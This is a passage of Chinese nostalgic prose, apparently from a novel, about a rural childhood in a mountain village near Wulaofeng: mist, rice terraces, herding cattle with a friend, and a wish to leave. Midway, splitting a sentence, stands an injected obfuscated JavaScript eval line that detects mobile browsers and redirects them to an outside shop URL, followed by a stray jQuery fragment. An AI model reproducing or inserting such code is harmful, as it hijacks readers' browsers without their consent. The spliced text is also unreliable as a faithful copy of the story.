春夏之交的五老峰，是一整年里最鲜活、最温柔的模样。
熬过了正月残留的料峭春寒，度过了连绵阴湿的春雨季节，整座封闭的山谷彻底挣脱了冬日的沉郁压抑。暖风从远山之外缓缓漫进坳底，拂过层层叠叠的梯田，掠过成片的山林竹海，唤醒了深埋土层之下所有沉睡的生机。群山褪去灰白萧瑟的底色，尽数铺展成浓郁饱满的青绿，漫山遍野的草木野蛮疯长，层层梯田铺满鲜嫩欲滴的禾苗，田埂边的野草、坡地上的野花、溪涧旁的灌木，层层叠叠、密密匝匝，把贫瘠沉寂了一整个冬天的花明村，填得满满当当，满眼皆是生生不息的烟火生机。
在大山里长大的孩子，对季节的感知，从来不靠日历标记，而是靠鼻尖的气息、脚底的泥土、耳边的风声。七零八零年代的黔东深山，没有精致的人工绿化，没有修剪整齐的花木景致，所有的美好，都是天时地气自然生长出来的模样。春末夏初的花明村，空气里永远裹着一层层次分明、刻进骨血的专属味道。那是湿润黄泥被暖风烘干后的醇厚土腥，是新生嫩草破土舒展的清甜，是野花开散的淡浅幽香，是柴火塘日夜不熄的淡淡草木灰气。无数细碎的气味交织缠绕，弥漫在山谷的每一寸空气里，浸透我的衣衫、我的发丝、我的童年岁月。往后我远赴城市，闻过香水芬芳、街面油烟、楼宇冷气，再也没有遇见这般干净、质朴、治愈又独一无二的味道。
春雨停歇之后，山间的青石板路彻底褪去了寒冬的冻硬，常年浸润水汽的石面，覆上一层薄薄柔软的青苔，翠色温润，踩上去微凉湿滑。山间的土路不再泥泞黏脚，被连日的暖风慢慢吹干，土质松软干爽，赤脚踩上去，细腻的黄土贴合脚底，温温热热，踏实又安稳。梯田里的春水静静沉淀，平整的水面如同镜面，倒映着蓝天、白云、青山、流云，微风拂过，水面漾开细碎波纹，层层禾苗轻轻摇曳，整片山谷安静又温柔，连风吹过的声音，都变得轻柔缓慢。
农忙的春耕高峰已然落幕，村里的农人终于得以卸下连日的疲惫，日子慢慢慢下来，归于山野四时的平缓节奏。不再需要日日冒雨插秧、连夜疏通沟渠、晨起修补坍塌田埂，大人们每日的劳作，只剩田间除草、看护水田、巡查禾苗长势。日出而出，日落而归，不慌不忙，顺应天时。漫长的白日天光充裕透亮，清晨亮得极早，夜色落得极晚，大山里的时光仿佛被无限拉长，足够我们孩童肆意挥霍一整个漫长热烈的夏天。
我的每日作息，依旧是山野为伴、草木为邻。天刚蒙蒙亮，东方天际泛起一缕浅浅鱼肚白，山间晨雾尚未散尽，薄薄的白雾缠绕在山腰之间，像轻柔的纱幔，把连绵的青山衬得朦胧悠远。草木枝叶挂满整夜凝结的露珠，晶莹剔透，坠在叶尖轻轻晃动，一碰便簌簌滚落，打湿我的裤脚与鞋面，带来一身清冽的草木凉意。我牵着家里温顺的老黄牛，踩着微凉的晨光走出木屋，村口的鸡鸣此起彼伏，穿透层层薄雾，响彻整座山谷，是山村每日最早苏醒的声响。
狗蛋永远比我更早等候在路口。他挎着一只磨得发亮的旧竹篮，是他母亲用来割猪草的老物件，篮沿被常年的摩挲磨得圆润光滑。他永远精力旺盛，永远不知疲倦，眼底盛满山野孩童独有的鲜活与莽撞，只要天光放亮，便迫不及待奔赴山野，奔赴属于我们无拘无束的自由天地。
我们结伴走上后山的缓坡草场，把牛绳轻轻拴在长势最盛的草丛深处，任由老黄牛低头啃食鲜嫩青草，不急不躁，悠然自得。而我们便挣脱了所有束缚，顺着田埂肆意奔跑、打闹、追逐。田埂窄窄长长，蜿蜒缠绕层层梯田，两侧长满贴地的青草与细碎的白色小野花，风一吹，花草簌簌摇曳，清香漫溢。我们跑累了，便并排躺倒在柔软厚实的青草地上，仰面望着头顶一方被群山框定的小小天空。白云慢悠悠浮游，清风慢悠悠吹拂，虫鸣慢悠悠回荡，山野的时光缓慢、松弛、纯粹，没有催促，没有压力，没有杂念，是成年人再也寻不回的安稳纯粹。
正午日头渐盛，阳光穿透山林枝叶的缝隙，筛下满地碎金。燥热慢慢笼罩山谷，劳作的村民纷纷收工归家，木屋炊烟袅袅升起，家家户户传来锅碗瓢盆的轻响，短暂打破山野的静谧。大人们闭门歇息，躲避正午灼人的烈日，整座山村瞬间安静下来，只剩此起彼伏的蝉鸣铺天盖地，填满山谷的每一处角落。聒噪的蝉声非但不显吵闹，反而衬得深山愈发幽静绵长，成了盛夏最标志性的背景音。
我和狗蛋不愿闷在昏暗闷热的木屋里，总爱躲进后山那棵百年老樟树的浓荫之下。老樟树树干粗壮挺拔，枝桠肆意舒展，树冠浓密繁茂，撑开一片巨大的阴凉，隔绝了所有烈日与燥热。树下铺满经年累积的干枯落叶，松软厚实，躺上去温柔舒适。我们叼着青草根茎，有一搭没一搭地闲谈，聊着村里的琐事，聊着放牛的趣事，聊着遥遥无期的长大。
狗蛋不止一次认真地跟我说，读书是最煎熬的苦差事。坐在闭塞昏暗的教室里，背枯燥的汉字，念听不懂的课文，还要被老师管束，远不如放牛割草自在逍遥。他打心底认定，山里人的命，就是守田、种地、放牛、娶妻生子，一辈子扎根黄泥，岁岁年年重复祖辈的生活，没必要痴心妄想山外的世界，更没必要白白耗费光阴钱财去读书追梦。
这是花明村绝大多数人的宿命观，是贫穷与闭塞养出来的安分与认命。一代又一代人，生于山，长于山，困于山，最终归于山，没有人质疑这样的人生，没有人试图挣脱既定的轨迹，所有人都默认，山野黄泥，就是我们一生唯一的归宿。
我静静听着他的话，从不反驳，却从未认同。
我深爱这片山野的一切，爱清晨的薄雾，爱傍
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17703103|208252||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
晚的炊烟，爱泥土的醇厚，爱青草的清香，爱田埂的晚风，爱山村温柔缓慢的四时烟火。这片贫瘠的大山，包容了我所有的天真与顽劣，给了我最自由烂漫的童年。可我心底那点向外生长的执念，自看过那场露天电影之后，便从未熄灭。我贪恋故土的温柔，却不甘心一辈子被连绵群山牢牢困住，不甘心只能望着远山空想远方，不甘心终其一生，只见过黄泥青山，未见人间辽阔。
盛夏的午后，时常会突如其来落下一阵太阳雨。山里的夏雨向来随性洒脱，来时汹涌急促，去时干净利落。乌云转瞬聚拢，遮蔽烈日，细密的雨点噼里啪啦砸落下来，打在稻田禾叶上，打在木屋瓦檐上，打在山林枝叶上，汇成满山清脆动听的雨响。雨水冲刷着整座山谷的尘埃，洗净草木的浮尘，滋润干裂的土地，让整片山野的绿意愈发浓郁鲜亮。
短短十几分钟，骤雨停歇，云开日出，天光重新洒满山谷。被雨水冲刷过后的山林，空气干净得通透清甜，泥土的腥甜、草木的鲜香、野花的幽香彻底绽放，弥漫在天地之间。远山萦绕起淡淡的水雾云烟，层层青山青翠欲滴，梯田积水波光粼粼，整个世界清新透亮，宛如新生。
雨停之后，是我们一天中最快乐的时光。田埂的浅洼积满清水，泥土湿润松软，踩上去柔软绵密，不粘不稠。我们肆无忌惮地在田埂上奔跑嬉戏，踩着水洼，踏着软泥，任由黄泥沾满裤脚，任由水珠溅满鞋面，浑身沾满泥土青草的气息。我们蹲在溪涧边捉小鱼、扒开草丛找雨后冒头的野生菌、追逐低空飞舞的蜻蜓蝴蝶，在无人管束的山野里，肆意挥霍着年少的鲜活与热烈，把清贫日子里所有的欢喜，尽数藏在这片青山泥土之间。
落日西沉，暮色温柔浸染山谷。夕阳的霞光铺满天际，橘红、暖黄的光影洒落群山，把连绵的山峦、错落的木屋、层层的梯田，都染成温柔的暖色。劳作的农人扛着农具，踏着晚风缓缓归村，牛铃叮当，犬吠零星，孩童嬉笑，炊烟袅袅，所有细碎温柔的烟火声响交织在一起，揉成山村最治愈的黄昏图景。
我牵着吃饱青草的老黄牛，踏着暮色缓缓归家，晚风拂过耳畔，鼻尖萦绕着熟悉又安心的山野气息。这味道贯穿了我的整个童年，是贫穷岁月里最温柔的馈赠，是往后漂泊半生、永远无法复刻的故乡印记。
年少的我尚且不懂何为宿命、何为羁绊，只知晓这片青山泥土养育了我，温柔包容了我所有的委屈与天真。它给了我最纯粹自由的童年，却也立起高高的围墙，困住了我心底滚烫的远方渴望。
晚风漫过山坳，青草摇曳，泥土无声，群山静默。我站在暮色笼罩的田埂上，望着层层叠叠、望不到尽头的青山，心底生出一份温柔又执拗的矛盾：我眷恋这里的一草一木、一风一土，却依旧拼尽全力，想要走出这座困住所有人的五老峰。